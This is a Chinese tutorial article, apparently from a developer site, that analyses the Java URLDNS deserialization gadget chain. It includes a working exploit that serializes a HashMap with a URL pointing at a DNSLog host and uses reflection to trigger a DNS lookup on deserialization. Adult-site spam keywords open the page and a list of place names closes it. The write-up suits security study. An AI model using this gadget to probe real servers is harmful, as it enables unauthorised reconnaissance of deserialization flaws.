最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Java安全之URLDNS鏈使用分析

 更新時間:2025年05月15日 15:39:53   作者:Elitewa  
這篇文章主要介紹了Java安全之URLDNS鏈使用分析,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教

什么是URLDNS鏈

URLDNS鏈是Java安全中比較簡單的一條利用鏈,無需使用任何第三方庫,全依靠Java內(nèi)置的一些類實現(xiàn),但無法進行命令執(zhí)行,只能實現(xiàn)對URl的訪問探測(發(fā)起DNS請求),并且不限制Java版本,可以用于檢測是否存在反序列化漏洞,理解好URLDNS鏈,那么接下來對CC鏈的學習就會簡單許多

URLDNS鏈分析

調(diào)用鏈路

Gadget Chain:
    HashMap.readObject()
             HashMap.putVal()
                     HashMap.hash()
                             URL.hashCode()

HashMap類分析

我們來到 HashMap.java文件,查看HashMap類readObject方法,代碼如下

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

我們看下該方法的最后一行代碼

putVal(hash(key), key, value, false, false);

發(fā)現(xiàn)調(diào)用了對 key變量 調(diào)用了該類里里面的hash函數(shù),然后我們分析下key參數(shù)是怎么獲得的

通過以下代碼可以看出定義了一個K類型的key變量,然后對反序列化的輸入流進行反序列化,并把反序列化出的復制給key變量

K類型是代表鍵的泛型,其定義的數(shù)據(jù)可以是任何類型,但只能作為map中的鍵

K key = (K) s.readObject();

我們再看下 hash 函數(shù)是如何對key處理的,我們在HashMap類中找到hash函數(shù)代碼如下

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

經(jīng)分析,只要我們的key對象,也就是傳入map的鍵不為空,就會執(zhí)行h = key.hashCode(),也就是執(zhí)行key對象里的hashCode()方法

URL類分析

這里接上文,假設我們傳入map中的key為URL對象,那么便調(diào)用URL類中的hashCode()方法,我們看下這個方法的代碼

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

這里看到,只要 hashCode = -1的話,那么便會執(zhí)行handler.hashCode(this);,我們?nèi)タ聪?hashcode 屬性是怎么定義的

private int hashCode = -1;

我們發(fā)現(xiàn) hashcode初始值為 -1,也就是默認執(zhí)行handler.hashCode(this);,我們再去看看 handler 是怎么定義的,代表了什么,通過下面可得:handler屬性代表了URLStreamHandler類的臨時對象

transient URLStreamHandler handler;
//這個URL傳輸實現(xiàn)類是一個transient臨時類型,不會被反序列化

經(jīng)分析,也就是把這一整個URL對象作為參數(shù),傳入了URLStreamHandler類的hashCode方法

this代表的是當前對象的指針,也可以用 this.name 的方式調(diào)用當前對象中的成員

那我們?nèi)?code>URLStreamHandler類當中,查看下hashCode方法的代碼

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

我們看到 hashcode 方法接收一個URL類型的參數(shù),然后對接收的 URL對象,也就是前面的key執(zhí)行InetAddress addr = getHostAddress(u);,并會把求出的 hash值 返回給 URL對象中的hashCode屬性(這里記住,下面有用到)

getHostAddress函數(shù)會對URL對象代表的鏈接進行DNS解析,獲取其ip地址,我們使用 DNSLog 平臺可以檢測到該函數(shù)的訪問

exp編寫

思路整理

根據(jù)上面的鏈路分析,我們首先需要創(chuàng)建一個指向DNSLog平臺鏈接URL對象,然后作為傳入HashMap數(shù)組,最后將該數(shù)組進行序列化,然后反序列化調(diào)用其readObject方法,將URL對象賦值給key,然后使用hash方法處理URL對象,再調(diào)用URL對象的hashcode方法,然后以URL對象為參數(shù),傳入URLStreamHandler類的hashCode方法,對URL對象指向的鏈接進行訪問

初步exp

現(xiàn)在的exp大體如下

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://j0obud.dnslog.cn/");//這里替換為DNSLog平臺分配的地址
        map.put(url,"114");//鍵值用不到,隨便設置
        try {
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我們在第13行打個斷點,也就是try的這一行

然后運行代碼,發(fā)現(xiàn)未經(jīng)序列化與反序列化仍然能對url進行DNS解析

正是下面這一行代碼導致了url的提前解析

map.put(url,"114");//鍵值用不到,隨便設置

我們?nèi)タ聪?strong>map(HashMap類)的put方法,代碼如下

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

我們發(fā)現(xiàn),這個put方法readObject方法觸發(fā)的語句完全一樣,同樣會對URL對象執(zhí)行HashMap類中的hash方法,然后就和上文所述的過程相同,最總到達hashCode方法,對URL對象解析

return putVal(hash(key), key, value, false, true);

下面是這兩個方法的語句對比可以看到是一模一樣的

  • put方法:

  • readObject方法:

需要注意的是假如提前觸發(fā)的話,反序列化的時候便不會再進行DNS解析

我們再次回到URL類中的hashCode方法,并看一下其hashCode屬性的定義

private int hashCode = -1;
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

可以看到只有當 hashCode = -1時,才會執(zhí)行hashCode = handler.hashCode(this);,從而到下一步DNS解析,然后 hashCode屬性被賦值為這個URL解析的哈希值,從而為一個很長的正數(shù),從而不為 -1,然后序列化的時候這個hashCode屬性值保持不變,當反序列化到hashCode方法時,以為 hashCode != -1 直接進入if,執(zhí)行return hashCode;,最終到這里就斷掉了,無法觸發(fā)DNS解析

exp改進

那怎么辦呢?

我們可以先在put時,將 hashCode 值通過反射修改為任意一個不為 -1 的數(shù)字,從而不會提前觸發(fā)DNS解析,然后在put完成后,我們再通過反射將 hashCode值設為 -1,示例如下

field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
map.put(url,"2333"); //這里的value用不上,隨便設置
field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashCode(this);

通過反射我們可以動態(tài)修改一個對象中的屬性和方法

最終exp

package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://mm4dhq.dnslog.cn/");//這里替換為DNSLog平臺分配的地址
        Class clas = url.getClass();
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
        map.put(url,"2333"); //這里的value用不上,隨便設置
        field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashcode
        try {
            //序列化
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            //反序列化,此時觸發(fā)dns請求
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我們再次在put語句下面打斷點,觀察是否還會提前觸發(fā),可以看到DNSLog平臺沒有記錄,代表put時由于hashCode值不為 -1 ,沒有執(zhí)行handler.hashCode(this)

我們在斷點處繼續(xù)執(zhí)行,可以看到反序列化成功觸發(fā)了DNS解析

總結

以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。

相關文章

  • SpringBoot攔截器的使用介紹

    SpringBoot攔截器的使用介紹

    大家好,本篇文章主要講的是SpringBoot攔截器的使用介紹,感興趣的同學趕快來看一看吧,對你有幫助的話記得收藏一下
    2022-01-01
  • springboot restTemplate連接池整合方式

    springboot restTemplate連接池整合方式

    這篇文章主要介紹了springboot restTemplate連接池整合方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2021-10-10
  • java web實現(xiàn)分頁查詢實例方法

    java web實現(xiàn)分頁查詢實例方法

    在本篇文章里我們給大家分享了java web實現(xiàn)分頁查詢的詳細方法知識點,有需要的朋友們參考學習下。
    2018-10-10
  • SpringBoot定時任務詳解與案例代碼

    SpringBoot定時任務詳解與案例代碼

    SpringBoot是一個流行的Java開發(fā)框架,它提供了許多便捷的特性來簡化開發(fā)過程,其中之一就是定時任務的支持,讓開發(fā)人員可以輕松地在應用程序中執(zhí)行定時任務,本文將詳細介紹如何在Spring?Boot中使用定時任務,并提供相關的代碼示例
    2023-06-06
  • Jmeter關聯(lián)實現(xiàn)及參數(shù)化使用解析

    Jmeter關聯(lián)實現(xiàn)及參數(shù)化使用解析

    這篇文章主要介紹了Jmeter關聯(lián)實現(xiàn)及參數(shù)化使用解析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-08-08
  • Java使用雙異步實現(xiàn)將Excel的數(shù)據(jù)導入數(shù)據(jù)庫

    Java使用雙異步實現(xiàn)將Excel的數(shù)據(jù)導入數(shù)據(jù)庫

    在開發(fā)中,我們經(jīng)常會遇到這樣的需求,將Excel的數(shù)據(jù)導入數(shù)據(jù)庫中,這篇文章主要來和大家講講Java如何使用雙異步實現(xiàn)將Excel的數(shù)據(jù)導入數(shù)據(jù)庫,感興趣的可以了解下
    2024-01-01
  • Java使用Jdom讀取xml解析實例

    Java使用Jdom讀取xml解析實例

    這篇文章主要介紹了Java使用Jdom讀取xml解析,以實例形式較為詳細的分析了Jdom操作XML文件實現(xiàn)讀取操作的相關技巧,具有一定參考借鑒價值,需要的朋友可以參考下
    2015-10-10
  • java.lang.NullPointerException異常問題解決方案

    java.lang.NullPointerException異常問題解決方案

    這篇文章主要介紹了java.lang.NullPointerException異常問題解決方案,本篇文章通過簡要的案例,講解了該項技術的了解與使用,以下就是詳細內(nèi)容,需要的朋友可以參考下
    2021-08-08
  • java中int轉(zhuǎn)string與string轉(zhuǎn)int的效率對比

    java中int轉(zhuǎn)string與string轉(zhuǎn)int的效率對比

    這篇文章主要介紹了java中int轉(zhuǎn)string與string轉(zhuǎn)int的效率對比,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-03-03
  • SpringBoot個性化啟動Banner設置方法解析

    SpringBoot個性化啟動Banner設置方法解析

    這篇文章主要介紹了SpringBoot個性化啟動Banner設置方法解析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-03-03

最新評論

正定县| 万安县| 南开区| 观塘区| 抚州市| 南开区| 德惠市| 湘乡市| 苍溪县| 哈巴河县| 喀喇| 宁波市| 雷波县| 宜良县| 彩票| 阳城县| 上杭县| 凤台县| 鹤壁市| 乌兰察布市| 德钦县| 富民县| 朝阳市| 宣威市| 潜山县| 永兴县| 安多县| 定州市| 宜良县| 思茅市| 屯门区| 公主岭市| 大竹县| 广河县| 菏泽市| 保山市| 丹凤县| 寻乌县| 新乡市| 诸城市| 济源市|